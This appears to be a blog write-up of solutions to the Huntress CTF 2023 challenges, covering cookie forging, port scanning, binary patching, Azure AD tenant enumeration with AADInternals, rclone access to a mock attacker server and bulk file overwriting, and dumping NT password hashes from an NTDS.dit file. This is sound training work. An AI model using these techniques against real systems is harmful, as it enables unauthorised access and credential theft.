Home Huntress CTF 2023
Post
Cancel

Huntress CTF 2023

Celebrate Cybersecurity Awareness Month with Huntress

October 2, 12:00 PM ET - October 31, 11:59 PM ET

New challenges released every day!

This was a CTF that went on for the whole month of October, releasing on average 2 challenges a day. I mostly focused on Malware, Forensics, OSINT and Misc categories.

Warmups

Dialtone

Well would you listen to those notes, that must be some long phone number or something! We get a wav file called “dialtone.wav”.

We can extract the DTMF tones of this file. We get the number 13040004482820197714705083053746380382743933853520408575731743622366387462228661894777288573.

We can now write a script that coverts this number:

  • From Decimal to Hex
  • From Hex to readable format
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def decimal_to_hex_and_readable_text(decimal_number):
    # Convert decimal to hexadecimal (cut off 0x)
    hex_representation = hex(decimal_number)[2:]

    # Convert hexadecimal to readable text
    readable_text = bytes.fromhex(hex_representation).decode('utf-8')

    return hex_representation.upper(), readable_text

# Given decimal number
decimal_number = 13040004482820197714705083053746380382743933853520408575731743622366387462228661894777288573

# Convert to hexadecimal and then to readable text
hex_representation, readable_text = decimal_to_hex_and_readable_text(decimal_number)

print("Decimal number:", decimal_number)
print("Hexadecimal representation:", hex_representation)
print("Readable text:", readable_text)

Which returns:

1
2
3
Decimal number: 13040004482820197714705083053746380382743933853520408575731743622366387462228661894777288573
Hexadecimal representation: 666C61677B36633733336566303962633466326134333133666636333038376532356436377D
Readable text: flag{6c733ef09bc4f2a4313ff63087e25d67}

Chicken Wings

We get a file that contains a bunch of emojis: ♐●♋♑❀♏📁🖮🖲📂♍♏⌛🖰♐🖮📂🖰📂🖰🖰♍📁🗏🖮🖰♌📂♍📁♋🗏♌♎♍🖲♏❝.

When we use a text to windings converter (not all of them provide the right results) we get the flag: flag{e0791ce68f718188c0378b1c0a3bdc9e}

Fast Hands

We get a website with a button, once we click the button a popup opens up with a blank webpage but immediately closes again.

homepage

We can inspect the source code of this webpage and we get a link to the html of the webpage that opens as a pop-up.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    <body>
        
        <!-- Page content-->
        <div class="container p-5">
            <div class="text-center mt-5 p-5">
                <button type="button" onclick="ctf()" class="btn btn-primary"><h1>Capture The Flag</button>
            </div>
        </div>
        <!-- Bootstrap core JS-->
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
    </body>
    <script type="text/javascript">
        function ctf() {
            window.open("./capture_the_flag.html", 'Capture The Flag', 'width=400,height=100%,menu=no,toolbar=no,location=no,scrollbars=yes');
        }
    </script>

When opening this webpage in a new tab, it directly closes again. We can look at the source code by adding view-source before the URL: “view-source:http://chal.ctf.games:32522/capture_the_flag.html” where we find the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
    <body>
        
        <!-- Page content-->
        <div class="container p-5">
            <div class="text-center mt-5 p-5">
                <button type="button" onclick="ctf()" class="btn btn-success"><h1>Your flag is:<br>
                  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                  <span style="display:none">
                  flag{03e8ba07d1584c17e69ac95c341a2569}
                </span></button>
            </div>
        </div>
        <!-- Bootstrap core JS-->
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
    </body>
    <script type="text/javascript">
        window.close();
    </script>

Baking

Do you know how to make cookies? How about HTTP flavored?

We have a webpage that bakes cookies for us. If you select a cookie, then a timer goes off.

cookies

We can look at the cookies stored via the develop console and notice they are base64 encoded: eyJyZWNpcGUiOiAiTWFnaWMgQ29va2llcyIsICJ0aW1lIjogIjEwLzExLzIwMjMsIDEzOjA5OjU0In0= decodes to {"recipe": "Magic Cookies", "time": "10/11/2023, 13:09:54"}.

If we adjust the time and go back a year, encode it and send the request, we get the flag.

1
2
3
{"recipe": "Magic Cookies", "time": "10/11/2022, 13:09:54"}
->
eyJyZWNpcGUiOiAiTWFnaWMgQ29va2llcyIsICJ0aW1lIjogIjEwLzExLzIwMjIsIDEzOjA5OjU0In0=

Request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET / HTTP/1.1
Host: chal.ctf.games:30484
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _ga_404Q5QJTEC=GS1.1.1697029586.2.1.1697029598.0.0.0; _ga=GA1.1.551490945.1697011112; in_oven=eyJyZWNpcGUiOiAiTWFnaWMgQ29va2llcyIsICJ0aW1lIjogIjEwLzExLzIwMjIsIDEzOjA5OjU0In0=
Upgrade-Insecure-Requests: 1

**Response**
```html
<div class="alert alert-success mt-3" role="alert">
        Your <strong>Magic Cookies</strong>  are done! Be careful  they are hot!
        Congratulations <strong>flag{c36fb6ebdbc2c44e6198bf4154d94ed4}</strong> 
</div>

Miscellaneous

I won’t let you down

We can scan the ip with nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nmap 155.138.162.158    
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-05 17:14 CEST
Nmap scan report for 155.138.162.158.vultrusercontent.com (155.138.162.158)
Host is up (0.11s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
22/tcp   open     ssh
25/tcp   filtered smtp
80/tcp   open     http
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
8888/tcp open     sun-answerbook

Nmap done: 1 IP address (1 host up) scanned in 14.66 seconds

We see a weird port being open “8888” when we connect to it via netcat the lyrics of Rick roll are being printed as well as the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nc 155.138.162.158 8888
We're no strangers to love
You know the rules and so do I (do I)
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
...
...
...
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
flag{93671c2c38ee872508770361ace37b02}

Rock, Paper, Psychic

Wanna play a game of rock, paper, scissors against a computer that can read your mind? Sounds fun, right?

We can open the binary with IDA and go through the source code. In the main function, we see a jnz (jump if not zero) check that jumps to playerWins if it’s not zero otherwise it continues in main and calls computerWins.

rps-before

As the computer knows our choice, this check is always true and the computer always wins. We can patch the source code (Edit > Patch > Assemble) and change it to jz (jump if zero).

rps-after

We can now debug through the program (or apply the patches and run the patched exe file) and get the flag even though we lose.

rps-flag

Challenge Group - M365

This is a challenge group containing 4 M365-related challenges. These are all solved by using the documentation page of aadinternals which is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory.

M Three Sixty Five - General Info

Welcome to our hackable M365 tenant! Can you find any juicy details, like perhaps the street address this organization is associated with?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
$ ssh user@chal.ctf.games -p 32186
user@chal.ctf.games's password: 
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

Loading AADInternals, please wait... ignore the errors on missing DLLs.
Add-Type: Cannot find path '/home/user/System.Web.Extensions.dll' because it does not exist.

PS /home/user> Get-AADIntCompanyInformation 

AllowAdHocSubscriptions                  : true
AllowEmailVerifiedUsers                  : true
AuthorizedServiceInstances               : AuthorizedServiceInstances
AuthorizedServices                       : 
City                                     : Ellicott City
CompanyDeletionStartTime                 : 
CompanyTags                              : CompanyTags
CompanyType                              : CompanyTenant
CompassEnabled                           : 
Country                                  : 
CountryLetterCode                        : US
DapEnabled                               : 
DefaultUsageLocation                     : 
DirSyncAnchorAttribute                   : 
DirSyncApplicationType                   : 
DirSyncClientMachineName                 : 
DirSyncClientVersion                     : 
DirSyncServiceAccount                    : 
DirectorySynchronizationEnabled          : false
DirectorySynchronizationStatus           : Disabled
DisplayName                              : HuntressCTF
InitialDomain                            : 4rhdc6.onmicrosoft.com
LastDirSyncTime                          : 
LastPasswordSyncTime                     : 
MarketingNotificationEmails              : 
MultipleDataLocationsForServicesEnabled  : 
ObjectId                                 : 05985beb-42bc-4c24-bf49-c1730a825406
PasswordSynchronizationEnabled           : false
PortalSettings                           : PortalSettings
PostalCode                               : 21043
PreferredLanguage                        : en
ReleaseTrack                             : 
ReplicationScope                         : NA
RmsViralSignUpEnabled                    : true
SecurityComplianceNotificationEmails     : 
SecurityComplianceNotificationPhones     : 
SelfServePasswordResetEnabled            : true
ServiceInformation                       : ServiceInformation
ServiceInstanceInformation               : ServiceInstanceInformation
State                                    : MD
Street                                   : flag{dd7bf230fde8d4836917806aff6a6b27}
SubscriptionProvisioningLimited          : false
TechnicalNotificationEmails              : TechnicalNotificationEmails
TelephoneNumber                          : 8005555555
UIExtensibilityUris                      : 
UsersPermissionToCreateGroupsEnabled     : true
UsersPermissionToCreateLOBAppsEnabled    : true
UsersPermissionToReadOtherUsersEnabled   : true
UsersPermissionToUserConsentToAppEnabled : true
WhenCreated                              : 2023-09-16T06:40:09Z

M Three Sixty Five - Conditional Access

This tenant looks to have some odd Conditional Access Policies. Can you find a weird one?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS /home/user> Get-AADIntConditionalAccessPolicies

odata.type          : Microsoft.DirectoryServices.Policy
objectType          : Policy
objectId            : 668225f8-1b04-4c50-ad93-a96234c9e630
deletionTimestamp   : 
displayName         : flag{d02fd5f79caa273ea535a526562fd5f7}
keyCredentials      : {}
policyType          : 18
policyDetail        : {{"Version":1,"CreatedDateTime":"2023-10-16T15:23:45.8269524Z","ModifiedDateTime":"2023
                      -10-16T15:38:14.8630673Z","State":"Enabled","Conditions":{"Applications":{"Include":[{"
                      Applications":["None"]}]},"Users":{"Include":[{"Users":["None"]}]}},"Controls":[{"Contr
                      ol":["Mfa"]}],"EnforceAllPoliciesForEas":true,"IncludeOtherLegacyClientTypeForEvaluatio
                      n":true}}
policyIdentifier    : 
tenantDefaultPolicy : 

odata.type          : Microsoft.DirectoryServices.Policy
objectType          : Policy
objectId            : 781fecfa-78c7-41b3-9961-fd82132465e3
deletionTimestamp   : 
displayName         : Default Policy
keyCredentials      : {}
policyType          : 18
policyDetail        : {{"Version":0,"State":"Disabled"}}
policyIdentifier    : 10/16/2023 15:38:15
tenantDefaultPolicy : 18

M Three Sixty Five - Teams

We observed saw some sensitive information being shared over a Microsoft Teams message! Can you track it down?

1
2
3
4
5
6
7
8
9
10
11
PS /home/user> Get-AADIntTeamsMessages

ClientMessageId : 8803098928400015000
Id              : 1695838171758
MessageType     : Text
DisplayName     : FNU LNU
ArrivalTime     : 09/27/2023 18:09:31
DeletionTime    : 
Link            : 19:8tLE5Hp0MfXN3KZ3gBdcGMUs3Td78d3i5uk6uSC9rE81@thread.tacv2
Content         : flag{f17cf5c1e2e94ddb62b98af0fbbd46e1}
Type            : Message

M Three Sixty Five - The President

One of the users in this environment seems to have unintentionally left some information in their account details. Can you track down The President? ```bash PS /home/user> Get-AADIntUsers

AlternateEmailAddresses : AlternateMobilePhones : AlternativeSecurityIds : BlockCredential : false City : Overland Park CloudExchangeRecipientDisplayType : 1073741824 Country : United States Department : Manufacturing DirSyncEnabled : DirSyncProvisioningErrors : DisplayName : Lee Gu Errors : Fax : FirstName : Lee ImmutableId : IndirectLicenseErrors : IsBlackberryUser : false IsLicensed : true LastDirSyncTime : LastName : Gu LastPasswordChangeTimestamp : 2023-09-20T20:54:58Z LicenseAssignmentDetails : LicenseAssignmentDetails LicenseReconciliationNeeded : false Licenses : Licenses LiveId : 10032002F3B3252E MSExchRecipientTypeDetails : MSRtcSipDeploymentLocator : MSRtcSipPrimaryUserAddress : MobilePhone : OathTokenMetadata : … … … ObjectId : d15033b7-6556-4bcd-8ec5-0c3f7ff7e9be Office : 15/1102 OverallProvisioningStatus : PendingInput PasswordNeverExpires : PasswordResetNotRequiredDuringActivate : PhoneNumber : flag{1e674f0dd1434f2bb3fe5d645b0f9cc3} PortalSettings : PostalCode : 40223 PreferredDataLocation : PreferredLanguage : en-US ProxyAddresses : ProxyAddresses ReleaseTrack : ServiceInformation : ServiceInformation SignInName : PattiF@4rhdc6.onmicrosoft.com SoftDeletionTimestamp : State : KY StreetAddress : 9900 Corporate Campus Dr., Suite 3000 StrongAuthenticationMethods : StrongAuthenticationPhoneAppDetails : StrongAuthenticationProofupTime : StrongAuthenticationRequirements : StrongAuthenticationUserDetails : StrongPasswordRequired : StsRefreshTokensValidFrom : 2023-09-20T20:54:57Z Title : President UsageLocation : US UserLandingPageIdentifierForO365Shell : UserPrincipalName : PattiF@4rhdc6.onmicrosoft.com UserThemeIdentifierForO365Shell : UserType : Member ValidationStatus : Healthy WhenCreated : 2023-09-16T10:24:34Z

AlternateEmailAddresses : AlternateMobilePhones : AlternativeSecurityIds : BlockCredential : false City : Cairo CloudExchangeRecipientDisplayType : 1073741824 Country : Egypt Department : Finance DirSyncEnabled : DirSyncProvisioningErrors : DisplayName : Pradeep Gupta Errors : Fax : FirstName : Pradeep ImmutableId : IndirectLicenseErrors : IsBlackberryUser : false IsLicensed : true LastDirSyncTime : LastName : Gupta LastPasswordChangeTimestamp : 2023-09-20T20:55:01Z LicenseAssignmentDetails : LicenseAssignmentDetails LicenseReconciliationNeeded : false Licenses : Licenses LiveId : 10032002F3B26F5B MSExchRecipientTypeDetails : MSRtcSipDeploymentLocator : MSRtcSipPrimaryUserAddress : MobilePhone : OathTokenMetadata :

1
2
3
4
5
6
7
8
9
### Indirect Payload

>We saw this odd technique in a previous malware sample, where it would uncover it's next payload by... well, you'll see. 

![homepage-payload](/assets/img/huntressctf-indirect-payload.png)

We accessed a website featuring a button that redirects users to a "/flag.php" endpoint. Following this initial redirection, a series of subsequent redirects occurred, each leading to a distinct hash-based URL. Within the response of each redirection, a fragment of the flag was provided.

Request URL: http://chal.ctf.games:30483/site/flag.php Status code: 302 Date: Wed, 18 Oct 2023 13:36:12 GMT Location: /site/fe3cbf06ef09be78eb8ae144888eeeae.php Response Content:

Redirecting to: http://chal.ctf.games:30483/site/fe3cbf06ef09be78eb8ae144888eeeae.php

Request URL: http://chal.ctf.games:30483/site/fe3cbf06ef09be78eb8ae144888eeeae.php Status code: 302 Date: Wed, 18 Oct 2023 13:36:12 GMT Location: /site/f99cc7e975c1fdfd1b803bd248bac515.php Response Content:

Redirecting to: http://chal.ctf.games:30483/site/f99cc7e975c1fdfd1b803bd248bac515.php

Request URL: http://chal.ctf.games:30483/site/f99cc7e975c1fdfd1b803bd248bac515.php Status code: 302 Date: Wed, 18 Oct 2023 13:36:13 GMT Location: /site/0eb108f40ad71158d396d396e825fab7.php Response Content: character 0 of the payload is f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
The Python script below helps navigate a website's redirects and gather parts of a hidden flag from the response. By following the redirects, the script extracts characters from the response text, revealing the flag.

```python
import requests
import sys
from urllib.parse import urljoin

base_url = sys.argv[1]
url = urljoin(base_url, "site/flag.php")
flag = ''
while '}' not in flag:
    try:
        response = requests.get(url, allow_redirects=False)
        print(f"flag: {flag} - URL: {response.url}")
        if response.text:
            flag += response.text.split()[-1]

        # Check if it's a redirect
        if response.status_code == 302:
            location = response.headers['Location']
            url = urljoin(base_url, location)
        else:
            break  # Stop if it's not a redirect
    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")
        break
if flag:
    print(f"FLAG FOUND: {flag}")

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
flag:  - URL: http://chal.ctf.games:32522/site/flag.php
flag:  - URL: http://chal.ctf.games:32522/site/fe3cbf06ef09be78eb8ae144888eeeae.php
flag:  - URL: http://chal.ctf.games:32522/site/f99cc7e975c1fdfd1b803bd248bac515.php
flag: f - URL: http://chal.ctf.games:32522/site/0eb108f40ad71158d396d396e825fab7.php
flag: f - URL: http://chal.ctf.games:32522/site/e318c81f0211a5b17060ddab1fcc8fb0.php
flag: fl - URL: http://chal.ctf.games:32522/site/bdbbadb4fe344b998f98ca54c2e97b01.php
...
...
...
flag: flag{448c05ab3e3a7d68e3509eb85e87206 - URL: http://chal.ctf.games:32522/site/bc3d27d4ea43d4da9464eb03d753db61.php
flag: flag{448c05ab3e3a7d68e3509eb85e87206f - URL: http://chal.ctf.games:32522/site/1fb764ff4dd3eb7bcfb0a3e7c064f975.php
flag: flag{448c05ab3e3a7d68e3509eb85e87206f - URL: http://chal.ctf.games:32522/site/b9e277d8277ae70b3402edff6a4a6764.php
FLAG FOUND: flag{448c05ab3e3a7d68e3509eb85e87206f}

Operation Eradication

Oh no! A ransomware operator encrypted an environment, and exfiltrated data that they will soon use for blackmail and extortion if they don’t receive payment! They stole our data!

Luckily, we found what looks like a configuration file, that seems to have credentials to the actor’s storage server… but it doesn’t seem to work. Can you get onto their server and delete all the data they stole!?

We get access to a webpage that has a warning of the amount of files the ransomware actor has access to.

homepage-eradication

We also get a configuration file and notice that this url value directs to the “webdav” endpoint. If we access the webpage via http://chal.ctf.games:30655/webdav we get a pop-up box to log in.

1
2
3
4
5
type = webdav
url = http://localhost/webdav
vendor = other
user = VAHycYhK2aw9TNFGSpMf1b_2ZNnZuANcI8-26awGLYkwRzJwP_buNsZ1eQwRkmjQmVzxMe5r
pass = HOUg3Z2KV2xlQpUfj6CYLLqCspvexpRXU9v8EGBFHq543ySEoZE9YSdH7t8je5rWfBIIMS-5

When we search this configuration file on google, we land on a page to generate a rclone config file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
$ rclone config
2023/10/21 17:16:18 NOTICE: Config file "/home/kali/.config/rclone/rclone.conf" not found - using defaults
No remotes found, make a new one?
n) New remote
s) Set configuration password
q) Quit config
n/s/q> n

Enter name for new remote.
name> WebDav

Option Storage.
Type of storage to configure.
Choose a number from below, or type in your own value.   
...
...
...            
42 / WebDAV                                                                                                   
   \ (webdav)                                                                                              
Storage>                                                                                                      
This value is required and it has no default.
Storage> 42

Option url.
URL of http host to connect to.
E.g. https://example.com.
Enter a value.
url> http://chal.ctf.games:30655/webdav

Option vendor.
Name of the WebDAV site/service/software you are using.
Choose a number from below, or type in your own value.
Press Enter to leave empty.
...
...
...                     
 5 / Other site/service or software                                                                           
   \ (other)                                                                                                  
vendor> 5                                                                                                    
Option user.
User name.
In case NTLM authentication is used, the username should be in the format 'Domain\User'.
Enter a value. Press Enter to leave empty.
user> VAHycYhK2aw9TNFGSpMf1b_2ZNnZuANcI8-26awGLYkwRzJwP_buNsZ1eQwRkmjQmVzxMe5r

Option pass.
Password.
Choose an alternative below. Press Enter for the default (n).
y) Yes, type in my own password
g) Generate random password
n) No, leave this optional password blank (default)
y/g/n> g
Password strength in bits.
64 is just about memorable
128 is secure
1024 is the maximum
Bits> 128
Your password is: 148jrjm_HFK992ggtkVz6w
Use this password? Please note that an obscured version of this 
password (and not the password itself) will be stored under your 
configuration file, so keep this generated password in a safe place.
y) Yes (default)
n) No
y/n> y

Option bearer_token.
Bearer token instead of user/pass (e.g. a Macaroon).
Enter a value. Press Enter to leave empty.
bearer_token> 

Edit advanced config?
y) Yes
n) No (default)
y/n> n

Configuration complete.
Options:
- type: webdav
- url: http://chal.ctf.games:30655/webdav
- vendor: other
- user: VAHycYhK2aw9TNFGSpMf1b_2ZNnZuANcI8-26awGLYkwRzJwP_buNsZ1eQwRkmjQmVzxMe5r
- pass: *** ENCRYPTED ***                     
$ cat ~/.config/rclone/rclone.conf
[WebDav]
type = webdav
url = http://chal.ctf.games:30655/webdav
vendor = other
user = VAHycYhK2aw9TNFGSpMf1b_2ZNnZuANcI8-26awGLYkwRzJwP_buNsZ1eQwRkmjQmVzxMe5r
pass = eop45OmP2Pd6-30qHpAEDnX8ZlqmSGzpmAkGpDkeekMsh2zo6R9B31PXA8pAD3gpBcGPpAzdyc6SHCVOCJskD9-Odp48r0TUpUTgDgk91tIq0FRWRMUzjQ

When we compare it to the file we got, we notice that the file was missing the remote name, for example, [WebDav] and it had localhost as url value. We updated the file from the challenge with these values or update our current generated file to either contain the pass of the original file.

We now have access, We can’t log into the “/webdav” endpoint with the credentials in the configuration file but we can use rclone to authenticate. This is because the credentials in this file are encrypted and encoded as base64 by rclone and only rclone can decrypt it to authenticate. We can now start to enumerating the service.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ rclone ls WebDav:              
  1745724 ProductDevelopment/2022/ProductRoadmap.pdf
  3510400 HumanResources/EmployeeHandbook.pdf
  7680849 ProductDevelopment/Specifications/NewProductSpecs.pdf
  3891213 ProductDevelopment/Specifications/UpdatedProductSpecs.pdf
  3279252 ProductDevelopment/Designs/NewProductDesign.pdf
  3210830 ProductDevelopment/Designs/UpdatedProductDesign.pdf
  ...
  ...
  ...
  2314644 IT/Security/AuditReports/SecurityAudit_2023.pdf
  5760215 Marketing/PressReleases/2022/AwardAnnouncement.pdf
  6426767 Marketing/PressReleases/2022/CharityEvent.pdf
  7621110 Marketing/PressReleases/2022/NewProductLaunch.pdf
  7992867 IT/Security/2022/DataBreachResponsePlan.pdf
  1201236 IT/Security/2022/EmployeeCybersecurityTraining.pdf

The goal is to delete all the files that the adversary has stolen, but when we try purge or delete we get a “403 Forbidden” message.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ rclone purge WebDav: 
2023/10/21 17:33:55 ERROR : Attempt 1/3 failed with 1 errors and: rmdir failed: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.54 (Debian) Server at chal.ctf.games Port 31474</address>
</body></html>: 403 Forbidden
2023/10/21 17:33:55 ERROR : Attempt 2/3 failed with 1 errors and: rmdir failed: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>

However, we can overwrite the files with an empty file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ touch empty.pdf                                                       
$ for file in $(rclone ls WebDav:); do rclone copyto --progress empty.pdf "WebDav:/$file"; done
Transferred:              0 B / 0 B, -, 0 B/s, ETA -
Transferred:            1 / 1, 100%
Elapsed time:         0.7s
Transferred:              0 B / 0 B, -, 0 B/s, ETA -
Checks:                 1 / 1, 100%
Elapsed time:         0.3s
...
...
...
Transferred:              0 B / 0 B, -, 0 B/s, ETA -
Checks:                 1 / 1, 100%
Elapsed time:         0.3s
$ 

flag-eradication

Who is Real?

This is not a technical challenge, but it is a good test of your eye!

Now we live in a world of generative AI, for better or for worse. The fact of the matter is, threat actors can scheme up fake personas to lure you into a scam or social engineering… so, can you determine which profile picture is real and which is fake?

Play a game to train yourself on identifying what stands out for AI generated people. After a streak of 10 correct selections, you’ll receive the flag!

We get a webpage where we need to choose between a AI generated picture and a real picture. The method that worked best for me is to focus on the background as the AI pictures often have backgrounds that have little flaws in them, as you can see in the screenshot below.

flag-real

Discord Snowflake Scramble

Someone sent message on a Discord server which contains a flag! They did mention something about being able to embed a list of online users on their own website…

Can you figure out how to join that Discord server and see the message?

Note: Discord phone verification is NOT required for this challenge.

Connect here: https://discord.com/channels/1156647699362361364/1156648139516817519/1156648284237074552

We get a discord link that redirects to an empty space.

discord-start

We have an URL with IDs. We can look around for tools that might give us more information about the discord server. We come across discordlookup.com (Github).

We can use the Snowflake IDs in the URL to retrieve this information. Discord uses Snowflake IDs to uniquely identify various entities like users, channels, servers, messages, and more.

In the URL that was provided (https://discord.com/channels/1156647699362361364/1156648139516817519/1156648284237074552), these IDs represent the following:

  • 1156647699362361364: Server (guild) ID.
  • 1156648139516817519: Channel ID.
  • 1156648284237074552: Message ID.

discord-lookup

We can follow the “Instant Invite URL” and gain access to the server that contains the flag message.

discord-flag

MFAtigue

We got our hands on an NTDS file, and we might be able to break into the Azure Admin account! Can you track it down and try to log in? They might have MFA set up though…

We getaccess to an Azure login page. mfa-start

We also get a zip file with an NTDS and a SYSTEM file.

The NTDS.dit file is a database that stores the Active Directory data (including users, groups, security descriptors and password hashes).

With DSInternals we can extract the BootKey of the System file to get the hashes from the NTDS file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
PS C:\Users\flare\Documents\CTF\Huntress\MFAtigue> Get-BootKey .\SYSTEM
f08b286576ad88218db21b35b32c8781
PS C:\Users\flare\Documents\CTF\Huntress\MFAtigue> Get-ADDBAccount -All -DBPath .\ntds.dit -BootKey f08b286576ad88218db21b35b32c8781 | Format-Custom -View JohnNT Administrator:$NT$53ffcddea58170b42267fa689f0fa119         Guest:$NT$                                                                             krbtgt:$NT$948e12fcf27797f773c901c7e1b069d8                                            PAMELA_MCCARTHY:$NT$98574cb0badfc5d11094dd239af97da2                                   MATHEW_BERG:$NT$c7e3f4aa78cb46c0b47e61809cef8ca8                                       ETHAN_WELCH:$NT$151cb8e8e6b942bb0495e88c02365c19                                      RILEY_LANGLEY:$NT$565911c8b1e206319277f50207377fb1                                     PASQUALE_CHRISTIAN:$NT$7a2c60c628bda5d963a5934ec733f85f
HELENA_HESS:$NT$feb58b0c807bc1ef3adc390dabc1f6ac
SALLIE_BALLARD:$NT$e7c417bd62f442b1ee53bf70c8d656ef
LOU_NAVARRO:$NT$189b758028dc7ea177e26b990f09aad0
EDGARDO_DOWNS:$NT$38170f23f241863a09d07b2f438fe35a
GENE_SAWYER:$NT$3f8aa43a8714b6cba6438ab8e2890576
JILLIAN_DOTSON:$NT$08e75cc7ee80ff06f77c3e54cadab42a
EILEEN_NGUYEN:$NT$a03d6125a5d27301c10657d20bcb11f0
8385424457SA:$NT$a41edb7e4b7e68bb594d42de289ef4e2
BERTIE_PRINCE:$NT$eb0694cb60d647825ebc6420e0b4f4d4
KIRK_BARKER:$NT$04f60aa2def14e3a0703480d46a74b5c
PHOEBE_LEWIS:$NT$9bc8530fb646ed162646f50dab5ca44a
LILY_DUNLAP:$NT$ab69b9f2f7db11b28dde05ef92961335
WIN-UUTKPJ98ERD$:$NT$ef38fd14274db386b7b5bbddcb37f953
SECWWEBS1000000$:$NT$ced0af30b76eb4ef16f60ffd2a4bef4b
ITSWWKS1000000$:$NT$3c288662a096dbb9c2885f01f2617ae5
AZRWAPPS1000000$:$NT$a4ff2fdebe09928a19d7e2131e9d61f7
SECWDBAS1000000$:$NT$e0dc7756fdd7bf48c7b481ce944556f5
ITSWAPPS1000000$:$NT$ce67921be04ba6299ff9807dd3eaca93
TSTWAPPS1000000$:$NT$d8ceea661357f645244aacd3c93a799a
TSTWAPPS1000001$:$NT$1193ebf37b7b9a348cf2ec2214d4cf0e
FINWLPT1000000$:$NT$d0d011de0eca962c7a1f762200c99147
HREWLPT1000000$:$NT$b10ec52cb17993490dfe08eee07aa2f4
FINWLPT1000001$:$NT$cb53433396d6f25ac3af16a88494f94a
FINWVIR1000000$:$NT$4392779c3bbd677797cfecd29a56f121
ITSWAPPS1000001$:$NT$f6a6bc5b999c6895e2cfc5ec77267b96
FINWWEBS1000000$:$NT$ec2df0391596499ea1b9fa30d6dd929e
AWSWLPT1000000$:$NT$bac18307bf42034b0948f58926379103
FINWCTRX1000000$:$NT$ae20d4fe0a5d444e5e7df36e75f56fb8
ITSWAPPS1000002$:$NT$f92161ce7533e49ccaebe41e5ae7c172
HREWLPT1000001$:$NT$f5259fa28c59b8c35df61cfb96f8d079
HREWVIR1000000$:$NT$33d7acb44600a2e3dce2d08dc57f4946
TSTWDBAS1000000$:$NT$2170431c0e0690b6d21c2defabcbcf6a
SECWAPPS1000000$:$NT$61f44ec9c31e065b7896ffd5a5a6878c
FINWAPPS1000000$:$NT$1243fdd297a490e96e476bea71c074ac
FINWVIR1000001$:$NT$3a17fcdfa69018580b0abfd9f7882aaf
AWSWDBAS1000000$:$NT$33956700478136fc868b9a4ccee628ef
AWSWSECS1000000$:$NT$84e03b60f3f6d9a543e0d79c0967f42d
HREWAPPS1000000$:$NT$ace6a700c38ba2abb7298a0cc48db097
